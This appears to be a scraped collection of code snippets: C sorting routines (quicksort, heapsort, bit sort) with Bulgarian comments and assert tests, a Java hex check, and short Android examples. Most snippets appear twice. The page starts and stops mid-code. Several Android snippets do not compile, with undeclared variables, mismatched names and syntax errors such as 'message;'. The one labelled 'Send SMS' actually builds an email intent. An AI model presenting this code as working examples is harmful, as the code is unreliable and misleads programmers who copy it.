if (i < r)
quickSort(i, r);
}
void print(struct CElem m[], unsigned n) /* Извежда ключовете на масива на екрана */
{ unsigned i;
for (i = 0; i < n; i++)
printf("%8d", m[i].key);
}
void check(const struct CElem m[],
const struct CElem saveM[],
unsigned n)
{ unsigned i, j;
char *found; /* третира се като масив от булев тип */
/* 1. Проверка за наредба във възходящ ред */
for (i = 0; i < n-1; i++)
assert(m[i].key <= m[i + 1].key);
/* 2. Проверка за пермутация на изходните елементи */
found = (char *) calloc(n + 1, sizeof(*found));
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++)
if (!found[j] && m[i].key == saveM[j].key) {
found[j] = 1;
break;
}
assert(j < n); /* Пропада, ако не е намерен съответен */
}
free(found);
}
int main(void)
{ struct CElem saveM[MAX];
unsigned loopInd;
for (loopInd = 1; loopInd <= TEST_LOOP_CNT; loopInd++) {
printf("\n<<<<< Тест %u >>>>>\n", loopInd);
init(m, MAX);
memcpy(saveM, m, sizeof(m)); /* Запазва се копие на масива */
printf("Масивът преди сортирането:\n");
print(m, MAX);
quickSort(0, MAX-1);
printf("Масивът след сортирането:\n");
print(m, MAX);
check(m, saveM, MAX);
}
return 0;
}
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define MAX 100
#define TEST_LOOP_CNT 100
struct CElem {
int key;
/* .............
Някакви данни
............. */
} m[MAX];
void swap(struct CElem *x1, struct CElem *x2)
{ struct CElem tmp = *x1; *x1 = *x2; *x2 = tmp; }
void init(struct CElem m[], unsigned n) /* Запълва масива със случайни цели числа */
{ unsigned i;
srand(time(NULL));
for (i = 0; i < n; i++)
m[i].key = rand() % n;
}
void quickSort(int l, int r)
{ int i, j, x;
i = l;
j = r;
x = m[(i+j) / 2].key;
do {
while (x > m[i].key)
i++;
while (x < m[j].key)
j--;
if (i <= j) {
swap(m+i, m+j);
i++; j--;
}
} while (j >= i);
if (j > l)
quickSort(l, j);
if (i < r)
quickSort(i, r);
}
void print(struct CElem m[], unsigned n) /* Извежда ключовете на масива на екрана */
{ unsigned i;
for (i = 0; i < n; i++)
printf("%8d", m[i].key);
}
void check(const struct CElem m[],
const struct CElem saveM[],
unsigned n)
{ unsigned i, j;
char *found; /* третира се като масив от булев тип */
/* 1. Проверка за наредба във възходящ ред */
for (i = 0; i < n-1; i++)
assert(m[i].key <= m[i + 1].key);
/* 2. Проверка за пермутация на изходните елементи */
found = (char *) calloc(n + 1, sizeof(*found));
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++)
if (!found[j] && m[i].key == saveM[j].key) {
found[j] = 1;
break;
}
assert(j < n); /* Пропада, ако не е намерен съответен */
}
free(found);
}
int main(void)
{ struct CElem saveM[MAX];
unsigned loopInd;
for (loopInd = 1; loopInd <= TEST_LOOP_CNT; loopInd++) {
printf("\n<<<<< Тест %u >>>>>\n", loopInd);
init(m, MAX);
memcpy(saveM, m, sizeof(m)); /* Запазва се копие на масива */
printf("Масивът преди сортирането:\n");
print(m, MAX);
quickSort(0, MAX-1);
printf("Масивът след сортирането:\n");
print(m, MAX);
check(m, saveM, MAX);
}
return 0;
}
Heapsort (C code)
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define MAX 100
#define TEST_LOOP_CNT 100
struct CElem {
int key;
/* .............
Някакви данни
............. */
};
void swap(struct CElem *x1, struct CElem *x2)
{ struct CElem tmp = *x1; *x1 = *x2; *x2 = tmp; }
void init(struct CElem m[], unsigned n) /* Запълва масива със случайни цели числа */
{ unsigned i;
srand(time(NULL));
for (i = 1; i <= n; i++)
m[i].key = rand() % n;
}
/* Отсяване на елемента от върха на пирамидата */
void sift(struct CElem m[], unsigned l, unsigned r)
{ unsigned i = l,
j = i+i;
struct CElem x = m[i];
while (j <= r) {
if (j < r)
if (m[j].key < m[j+1].key)
j++;
if (x.key >= m[j].key)
break;
m[i] = m[j];
i = j;
j <<= 1;
}
m[i] = x;
}
void heapSort(struct CElem m[], unsigned n) /* Пирамидално сортиране */
{ unsigned k;
/* 1. Построяване на пирамидата */
for (k = n/2 + 1; k > 1; k--)
sift(m,k-1,n);
/* 2. Построяване на сортирана последователност */
for (k = n; k > 1; k--) {
swap(m+1,m+k);
sift(m,1,k-1);
}
}
void print(struct CElem m[], unsigned n) /* Извежда ключовете на масива на екрана */
{ unsigned i;
for (i = 1; i <= n; i++)
printf("%8d", m[i].key);
}
void check(const struct CElem m[], const struct CElem saveM[], unsigned n)
{ unsigned i, j;
char *found; /* третира се като масив от булев тип */
/* 1. Проверка за наредба във възходящ ред */
for (i = 1; i < n; i++)
assert(m[i].key <= m[i+1].key);
/* 2. Проверка за пермутация на изходните елементи */
found = (char *) calloc(n+1,sizeof(*found));
for (i = 1; i <= n; i++) {
for (j = 1; j <= n; j++)
if (!found[j] && m[i].key == saveM[j].key) {
found[j] = 1;
break;
}
assert(j <= n); /* Пропада, ако не е намерен съответен */
}
free(found);
}
int main(void) {
struct CElem m[MAX+1], saveM[MAX+1];
unsigned loopInd;
printf("start -- \n");
for (loopInd = 1; loopInd <= TEST_LOOP_CNT; loopInd++) {
init(m,MAX);
memcpy(saveM, m, sizeof(m)); /* Запазва се копие на масива */
printf("Масивът преди сортирането:\n");
print(m,MAX);
heapSort(m,MAX);
printf("Масивът след сортирането:\n");
print(m,MAX);
check(m,saveM,MAX);
}
return 0;
}
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define MAX 100
#define TEST_LOOP_CNT 100
struct CElem {
int key;
/* .............
Някакви данни
............. */
};
void swap(struct CElem *x1, struct CElem *x2)
{ struct CElem tmp = *x1; *x1 = *x2; *x2 = tmp; }
void init(struct CElem m[], unsigned n) /* Запълва масива със случайни цели числа */
{ unsigned i;
srand(time(NULL));
for (i = 1; i <= n; i++)
m[i].key = rand() % n;
}
/* Отсяване на елемента от върха на пирамидата */
void sift(struct CElem m[], unsigned l, unsigned r)
{ unsigned i = l,
j = i+i;
struct CElem x = m[i];
while (j <= r) {
if (j < r)
if (m[j].key < m[j+1].key)
j++;
if (x.key >= m[j].key)
break;
m[i] = m[j];
i = j;
j <<= 1;
}
m[i] = x;
}
void heapSort(struct CElem m[], unsigned n) /* Пирамидално сортиране */
{ unsigned k;
/* 1. Построяване на пирамидата */
for (k = n/2 + 1; k > 1; k--)
sift(m,k-1,n);
/* 2. Построяване на сортирана последователност */
for (k = n; k > 1; k--) {
swap(m+1,m+k);
sift(m,1,k-1);
}
}
void print(struct CElem m[], unsigned n) /* Извежда ключовете на масива на екрана */
{ unsigned i;
for (i = 1; i <= n; i++)
printf("%8d", m[i].key);
}
void check(const struct CElem m[], const struct CElem saveM[], unsigned n)
{ unsigned i, j;
char *found; /* третира се като масив от булев тип */
/* 1. Проверка за наредба във възходящ ред */
for (i = 1; i < n; i++)
assert(m[i].key <= m[i+1].key);
/* 2. Проверка за пермутация на изходните елементи */
found = (char *) calloc(n+1,sizeof(*found));
for (i = 1; i <= n; i++) {
for (j = 1; j <= n; j++)
if (!found[j] && m[i].key == saveM[j].key) {
found[j] = 1;
break;
}
assert(j <= n); /* Пропада, ако не е намерен съответен */
}
free(found);
}
int main(void) {
struct CElem m[MAX+1], saveM[MAX+1];
unsigned loopInd;
printf("start -- \n");
for (loopInd = 1; loopInd <= TEST_LOOP_CNT; loopInd++) {
init(m,MAX);
memcpy(saveM, m, sizeof(m)); /* Запазва се копие на масива */
printf("Масивът преди сортирането:\n");
print(m,MAX);
heapSort(m,MAX);
printf("Масивът след сортирането:\n");
print(m,MAX);
check(m,saveM,MAX);
}
return 0;
}
Bitsort (C code)
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#define MAX 100
struct CElem {
int key;
/* .............
Някакви данни
............. */
};
struct CList {
struct CElem data;
struct CList *next;
};
struct CList *init(unsigned n) /* Запълва масива със случайни цели числа */
{ struct CList *head, *p;
unsigned i;
srand(time(NULL));
for (head = NULL, i = 0; i < n; i++) {
p = (struct CList *) malloc(sizeof(struct CList));
p->data.key = rand();
assert(p->data.key);
p->next = head;
head = p;
}
return head;
}
struct CList *bitSort(struct CList *head)
{ struct CList *zeroEnd, *oneEnd, *zero, *one;
unsigned maxBit, bitPow2;
/* 0. Определяне на максималната битова маска */
maxBit = 1 << (8*sizeof(head->data.key)-1);
/* 1. Фиктивен елемент в началото на списъците */
zero = (struct CList *) malloc(sizeof(struct CList));
one = (struct CList *) malloc(sizeof(struct CList));
/* 2. Сортиране */
for (bitPow2 = 1; bitPow2 < maxBit; bitPow2 <<= 1) {
/* 2.1. Разпределяне по списъци */
for (zeroEnd = zero, oneEnd = one; NULL != head; head = head->next)
if (!(head->data.key & bitPow2)) {
zeroEnd->next = head;
zeroEnd = zeroEnd->next;
}
else {
oneEnd->next = head;
oneEnd = oneEnd->next;
}
/* 2.2. Обединение на списъците */
oneEnd->next = NULL;
zeroEnd->next = one->next;
head = zero->next;
}
/* 3. Освобождаване на паметта */
free(zero);
free(one);
return head;
}
void print(struct CList *head)
{ for (; NULL != head; head = head->next)
printf("%8d", head->data.key);
printf("\n");
}
void check(struct CList *head)
{ if (NULL == head)
return;
for (; NULL != head->next; head = head->next)
assert(head->data.key <= head->next->data.key);
}
void clear(struct CList *head)
{ struct CList *p = head;
while (NULL != head) {
head = (p = head)->next;
free(p);
}
}
int main(void) {
struct CList *head;
head = init(MAX);
printf("Масивът преди сортирането:\n");
print(head);
head = bitSort(head);
printf("Масивът след сортирането:\n");
print(head);
check(head);
clear(head);
return 0;
}
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#define MAX 100
struct CElem {
int key;
/* .............
Някакви данни
............. */
};
struct CList {
struct CElem data;
struct CList *next;
};
struct CList *init(unsigned n) /* Запълва масива със случайни цели числа */
{ struct CList *head, *p;
unsigned i;
srand(time(NULL));
for (head = NULL, i = 0; i < n; i++) {
p = (struct CList *) malloc(sizeof(struct CList));
p->data.key = rand();
assert(p->data.key);
p->next = head;
head = p;
}
return head;
}
struct CList *bitSort(struct CList *head)
{ struct CList *zeroEnd, *oneEnd, *zero, *one;
unsigned maxBit, bitPow2;
/* 0. Определяне на максималната битова маска */
maxBit = 1 << (8*sizeof(head->data.key)-1);
/* 1. Фиктивен елемент в началото на списъците */
zero = (struct CList *) malloc(sizeof(struct CList));
one = (struct CList *) malloc(sizeof(struct CList));
/* 2. Сортиране */
for (bitPow2 = 1; bitPow2 < maxBit; bitPow2 <<= 1) {
/* 2.1. Разпределяне по списъци */
for (zeroEnd = zero, oneEnd = one; NULL != head; head = head->next)
if (!(head->data.key & bitPow2)) {
zeroEnd->next = head;
zeroEnd = zeroEnd->next;
}
else {
oneEnd->next = head;
oneEnd = oneEnd->next;
}
/* 2.2. Обединение на списъците */
oneEnd->next = NULL;
zeroEnd->next = one->next;
head = zero->next;
}
/* 3. Освобождаване на паметта */
free(zero);
free(one);
return head;
}
void print(struct CList *head)
{ for (; NULL != head; head = head->next)
printf("%8d", head->data.key);
printf("\n");
}
void check(struct CList *head)
{ if (NULL == head)
return;
for (; NULL != head->next; head = head->next)
assert(head->data.key <= head->next->data.key);
}
void clear(struct CList *head)
{ struct CList *p = head;
while (NULL != head) {
head = (p = head)->next;
free(p);
}
}
int main(void) {
struct CList *head;
head = init(MAX);
printf("Масивът преди сортирането:\n");
print(head);
head = bitSort(head);
printf("Масивът след сортирането:\n");
print(head);
check(head);
clear(head);
return 0;
}
Check if a String is Hex (Java)
private boolean TestHex(String value) {
boolean ret;
try {
int t = Integer.parseInt(value, 16);
ret = true;
} catch (NumberFormatException e) {
ret = false;
}
return (ret);
}
boolean ret;
try {
int t = Integer.parseInt(value, 16);
ret = true;
} catch (NumberFormatException e) {
ret = false;
}
return (ret);
}
Send SMS (Android)
package app.test;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
public class Test extends Activity {
Button bt;
String message;
Boolean OnKeyTurn = false;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
addKeyListener();
BtnListener();
}
private void BtnListener(String message) {
bt = (Button) findViewById(R.id.button1);
bt.setOnClickListener(new View.OnClickListener() {
public void onClick(View v)
{
String[] to = {"w@l.net", "w@g.com"};
String[] cc = {"c@l.net"};
sendEmail(to, cc, "Hello", message;);
}
});
}
//---sends an SMS message to another device---
private void sendEmail(String[] emailAddresses, String[] carbonCopies,
String subject, String message){
Intent emailIntent = new Intent(Intent.ACTION_SEND);
emailIntent.setData(Uri.parse("mailto:"));
String[] to = emailAddresses;
String[] cc = carbonCopies;
emailIntent.putExtra(Intent.EXTRA_EMAIL, to);
emailIntent.putExtra(Intent.EXTRA_CC, cc);
emailIntent.putExtra(Intent.EXTRA_SUBJECT, subject);
emailIntent.putExtra(Intent.EXTRA_TEXT, message);
emailIntent.setType("message/rfc822");
startActivity(Intent.createChooser(emailIntent, "Email"));
}
private void addKeyListener(){
edittext1 = (EditText) findViewById(R.id.editText1);
edittext1.setOnKeyListener(new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
if ((event.getAction() == KeyEvent.ACTION_DOWN)
&& (keyCode == KeyEvent.KEYCODE_ENTER)) {
message = edittext1.getText().toString();
OnKeyTurn = true;
return true;
}
if(OnKeyTurn == false)
value = "";
return false;
}
});
}
}
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
public class Test extends Activity {
Button bt;
String message;
Boolean OnKeyTurn = false;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
addKeyListener();
BtnListener();
}
private void BtnListener(String message) {
bt = (Button) findViewById(R.id.button1);
bt.setOnClickListener(new View.OnClickListener() {
public void onClick(View v)
{
String[] to = {"w@l.net", "w@g.com"};
String[] cc = {"c@l.net"};
sendEmail(to, cc, "Hello", message;);
}
});
}
//---sends an SMS message to another device---
private void sendEmail(String[] emailAddresses, String[] carbonCopies,
String subject, String message){
Intent emailIntent = new Intent(Intent.ACTION_SEND);
emailIntent.setData(Uri.parse("mailto:"));
String[] to = emailAddresses;
String[] cc = carbonCopies;
emailIntent.putExtra(Intent.EXTRA_EMAIL, to);
emailIntent.putExtra(Intent.EXTRA_CC, cc);
emailIntent.putExtra(Intent.EXTRA_SUBJECT, subject);
emailIntent.putExtra(Intent.EXTRA_TEXT, message);
emailIntent.setType("message/rfc822");
startActivity(Intent.createChooser(emailIntent, "Email"));
}
private void addKeyListener(){
edittext1 = (EditText) findViewById(R.id.editText1);
edittext1.setOnKeyListener(new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
if ((event.getAction() == KeyEvent.ACTION_DOWN)
&& (keyCode == KeyEvent.KEYCODE_ENTER)) {
message = edittext1.getText().toString();
OnKeyTurn = true;
return true;
}
if(OnKeyTurn == false)
value = "";
return false;
}
});
}
}
GridView (Android)
/// First class
//*************************************************************************//
package com.test.android.adapter;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import com.test.android.R;
public class Adapter extends BaseAdapter {
private Context context;
private final String[] Values;
public Adapter(Context context, String[] Values) {
this.context = context;
this.Values = mobileValues;
}
public View getView(int position, View convertView, ViewGroup parent) {
LayoutInflater inflater = (LayoutInflater) context
.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View gridView;
if (convertView == null) {
gridView = new View(context);
// get layout from mobile.xml
gridView = inflater.inflate(R.layout.view, null);
// set value into textview
TextView textView = (TextView) gridView.findViewById(R.id.item);
textView.setText(Values[position]);
// set image based on selected text
ImageView imageView = (ImageView) gridView
.findViewById(R.id.image);
String value = Values[position];
if (value.equals("image1")) {
imageView.setImageResource(R.drawable.image1);
} else if (value.equals("image2")) {
imageView.setImageResource(R.drawable.image2);
} else if (value.equals("image3")) {
imageView.setImageResource(R.drawable.image3);
} else {
imageView.setImageResource(R.drawable.image_default);
}
} else {
gridView = (View) convertView;
}
return gridView;
}
@Override
public int getCount() {
return Values.length;
}
@Override
public Object getItem(int position) {
return null;
}
@Override
public long getItemId(int position) {
return 0;
}
}
// Second class
//*************************************************************************//
package com.test.android;
import com.test.android.adapter.ImageAdapter;
import android.app.Activity;
import android.os.Bundle;
import android.widget.AdapterView;
import android.widget.GridView;
import android.widget.TextView;
import android.widget.Toast;
import android.view.View;
import android.widget.AdapterView.OnItemClickListener;
public class GridView extends Activity {
GridView gridView;
static final String[] Arr = new String[] { "image1", "image2","image3"};
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
gridView = (GridView) findViewById(R.id.gridView1);
gridView.setAdapter(new ImageAdapter(this, Arr));
gridView.setOnItemClickListener(new OnItemClickListener() {
public void onItemClick(AdapterView<?> parent, View v,int position, long id){
Toast.makeText(getApplicationContext(),
((TextView) v.findViewById(R.id.item))
.getText(), Toast.LENGTH_SHORT).show();
}
});
}
}
//*************************************************************************//
package com.test.android.adapter;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import com.test.android.R;
public class Adapter extends BaseAdapter {
private Context context;
private final String[] Values;
public Adapter(Context context, String[] Values) {
this.context = context;
this.Values = mobileValues;
}
public View getView(int position, View convertView, ViewGroup parent) {
LayoutInflater inflater = (LayoutInflater) context
.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View gridView;
if (convertView == null) {
gridView = new View(context);
// get layout from mobile.xml
gridView = inflater.inflate(R.layout.view, null);
// set value into textview
TextView textView = (TextView) gridView.findViewById(R.id.item);
textView.setText(Values[position]);
// set image based on selected text
ImageView imageView = (ImageView) gridView
.findViewById(R.id.image);
String value = Values[position];
if (value.equals("image1")) {
imageView.setImageResource(R.drawable.image1);
} else if (value.equals("image2")) {
imageView.setImageResource(R.drawable.image2);
} else if (value.equals("image3")) {
imageView.setImageResource(R.drawable.image3);
} else {
imageView.setImageResource(R.drawable.image_default);
}
} else {
gridView = (View) convertView;
}
return gridView;
}
@Override
public int getCount() {
return Values.length;
}
@Override
public Object getItem(int position) {
return null;
}
@Override
public long getItemId(int position) {
return 0;
}
}
// Second class
//*************************************************************************//
package com.test.android;
import com.test.android.adapter.ImageAdapter;
import android.app.Activity;
import android.os.Bundle;
import android.widget.AdapterView;
import android.widget.GridView;
import android.widget.TextView;
import android.widget.Toast;
import android.view.View;
import android.widget.AdapterView.OnItemClickListener;
public class GridView extends Activity {
GridView gridView;
static final String[] Arr = new String[] { "image1", "image2","image3"};
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
gridView = (GridView) findViewById(R.id.gridView1);
gridView.setAdapter(new ImageAdapter(this, Arr));
gridView.setOnItemClickListener(new OnItemClickListener() {
public void onItemClick(AdapterView<?> parent, View v,int position, long id){
Toast.makeText(getApplicationContext(),
((TextView) v.findViewById(R.id.item))
.getText(), Toast.LENGTH_SHORT).show();
}
});
}
}
Important if you use internet and activity (Android)
Must set:
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
in the AndroidManifest.hml if you use internet.
For all of the activity must set:
<activity android:name=".Test"></activity>
where ".Test" is class for the new activity.
XML set background (Android)
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/rootRL"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@drawable/battery"
android:orientation="vertical" >
</RelativeLayout>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/rootRL"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@drawable/battery"
android:orientation="vertical" >
</RelativeLayout>
Change background with button (Android)
package com.test.background;
import android.os.Bundle;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
public class appTest extends Activity {
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
BtnListener();
}
private void BtnListener() {
Button btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
RelativeLayout ll = (RelativeLayout)findViewById(R.id.rootRL);
ll.setBackgroundResource(R.drawable.new_background);
}
});
}
}
import android.os.Bundle;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
public class appTest extends Activity {
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
BtnListener();
}
private void BtnListener() {
Button btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
RelativeLayout ll = (RelativeLayout)findViewById(R.id.rootRL);
ll.setBackgroundResource(R.drawable.new_background);
}
});
}
}
Show level battery (Android)
package com.battery.alarm;
import android.os.Bundle;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.widget.RelativeLayout;
import android.widget.TextView;
public class MainActivity extends Activity {
private TextView contentTxt , Txt;
private BroadcastReceiver mBatInfoReceiver = new BroadcastReceiver(){
@Override
public void onReceive(Context arg0, Intent intent) {
int level = intent.getIntExtra("level", 0);
contentTxt.setText(String.valueOf(level) + "%");
if(level > 49)
Txt.setText("High");
else
Txt.setText("Lol");
}
};
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
setContentView(R.layout.activity_main);
contentTxt = (TextView) this.findViewById(R.id.textView1);
Txt = (TextView) this.findViewById(R.id.textView2);
this.registerReceiver(this.mBatInfoReceiver,
new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
}
}
import android.os.Bundle;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.widget.RelativeLayout;
import android.widget.TextView;
public class MainActivity extends Activity {
private TextView contentTxt , Txt;
private BroadcastReceiver mBatInfoReceiver = new BroadcastReceiver(){
@Override
public void onReceive(Context arg0, Intent intent) {
int level = intent.getIntExtra("level", 0);
contentTxt.setText(String.valueOf(level) + "%");
if(level > 49)
Txt.setText("High");
else
Txt.setText("Lol");
}
};
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
setContentView(R.layout.activity_main);
contentTxt = (TextView) this.findViewById(R.id.textView1);
Txt = (TextView) this.findViewById(R.id.textView2);
this.registerReceiver(this.mBatInfoReceiver,
new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
}
}
Open a URL in the default browser with button(Android)
package app.Test;
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.content.Intent;
import android.net.Uri;
import android.view.KeyEvent;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.view.View;
import android.widget.Button;
public class appTest extends Activity {
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
BtnListener();
}
private void BtnListener() {
Button btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
Intent i = new Intent(Intent.ACTION_VIEW,Uri.parse("http://google.com");
startActivity(i);
}
});
}
}
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.content.Intent;
import android.net.Uri;
import android.view.KeyEvent;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.view.View;
import android.widget.Button;
public class appTest extends Activity {
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
BtnListener();
}
private void BtnListener() {
Button btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
Intent i = new Intent(Intent.ACTION_VIEW,Uri.parse("http://google.com");
startActivity(i);
}
});
}
}
Set TabActivity (Android)
package com.test.android;
import com.test.android.R;
import android.app.TabActivity;
import android.content.Intent;
import android.os.Bundle;
import android.widget.TabHost;
import android.widget.TabHost.TabSpec;
@SuppressWarnings("deprecation")
public class TestTab extends TabActivity{
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.fuel);
TabHost tabHost = getTabHost();
TabSpec spec1=tabHost.newTabSpec("");
sp1.setIndicator("",getResources().getDrawable(R.drawable.logo));
Intent in1=new Intent(this, TestTab1.class);
sp1.setContent(in1);
TabSpec sp2=tabHost.newTabSpec("");
sp2.setIndicator("",getResources().getDrawable(R.drawable.logo));
Intent in2=new Intent(this, TestTab2.class);
sp2.setContent(in2);
TabSpec sp3=tabHost.newTabSpec("");
sp3.setIndicator("",getResources().getDrawable(R.drawable.logo));
Intent in3=new Intent(this, TestTab3.class);
sp3.setContent(in3);
tabHost.addTab(sp1);
tabHost.addTab(sp2);
tabHost.addTab(sp3);
}
}
// make other class TestTab1, TestTab2 and TestTab3
// class TestTab1
package com.test.android;
public class TestTab1 extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.tab_2);
// post code here
}
}
// class TestTab2
package com.test.android;
public class TestTab2 extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.tab_2);
// post code here
}
}
// class TestTab3
package com.test.android;
public class TestTab3 extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.tab_2);
// post code here
}
}
import com.test.android.R;
import android.app.TabActivity;
import android.content.Intent;
import android.os.Bundle;
import android.widget.TabHost;
import android.widget.TabHost.TabSpec;
@SuppressWarnings("deprecation")
public class TestTab extends TabActivity{
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.fuel);
TabHost tabHost = getTabHost();
TabSpec spec1=tabHost.newTabSpec("");
sp1.setIndicator("",getResources().getDrawable(R.drawable.logo));
Intent in1=new Intent(this, TestTab1.class);
sp1.setContent(in1);
TabSpec sp2=tabHost.newTabSpec("");
sp2.setIndicator("",getResources().getDrawable(R.drawable.logo));
Intent in2=new Intent(this, TestTab2.class);
sp2.setContent(in2);
TabSpec sp3=tabHost.newTabSpec("");
sp3.setIndicator("",getResources().getDrawable(R.drawable.logo));
Intent in3=new Intent(this, TestTab3.class);
sp3.setContent(in3);
tabHost.addTab(sp1);
tabHost.addTab(sp2);
tabHost.addTab(sp3);
}
}
// make other class TestTab1, TestTab2 and TestTab3
// class TestTab1
package com.test.android;
public class TestTab1 extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.tab_2);
// post code here
}
}
// class TestTab2
package com.test.android;
public class TestTab2 extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.tab_2);
// post code here
}
}
// class TestTab3
package com.test.android;
public class TestTab3 extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.tab_2);
// post code here
}
}
Get value from edittext (Android)
package app.Test;
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.EditText;
import android.widget.Toast;
public class appTest extends Activity {
private EditText edittext;
protected double value;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
addKeyListener();
}
private void addKeyListener() {
edittext = (EditText) findViewById(R.id.editText1);
edittext.setOnKeyListener(new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
if ((event.getAction() == KeyEvent.ACTION_DOWN)
&& (keyCode == KeyEvent.KEYCODE_ENTER)) {
if(!edittext.getText().toString().equals(""))
value = Double.parseDouble(edittext.getText().toString());
else
value = 0;
Toast.makeText(this, "Value:" + value, Toast.LENGTH_SHORT).show();
return true;
}
if(!OnKeyTurn)
value = 0;
return false;
}
});
}
}
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.EditText;
import android.widget.Toast;
public class appTest extends Activity {
private EditText edittext;
protected double value;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
addKeyListener();
}
private void addKeyListener() {
edittext = (EditText) findViewById(R.id.editText1);
edittext.setOnKeyListener(new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
if ((event.getAction() == KeyEvent.ACTION_DOWN)
&& (keyCode == KeyEvent.KEYCODE_ENTER)) {
if(!edittext.getText().toString().equals(""))
value = Double.parseDouble(edittext.getText().toString());
else
value = 0;
Toast.makeText(this, "Value:" + value, Toast.LENGTH_SHORT).show();
return true;
}
if(!OnKeyTurn)
value = 0;
return false;
}
});
}
}
Add Spinner (Android)
package app.Test;
import java.util.ArrayList;
import java.util.List;
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.Toast;
public class appTest extends Activity {
private Spinner spinner1;
@Override
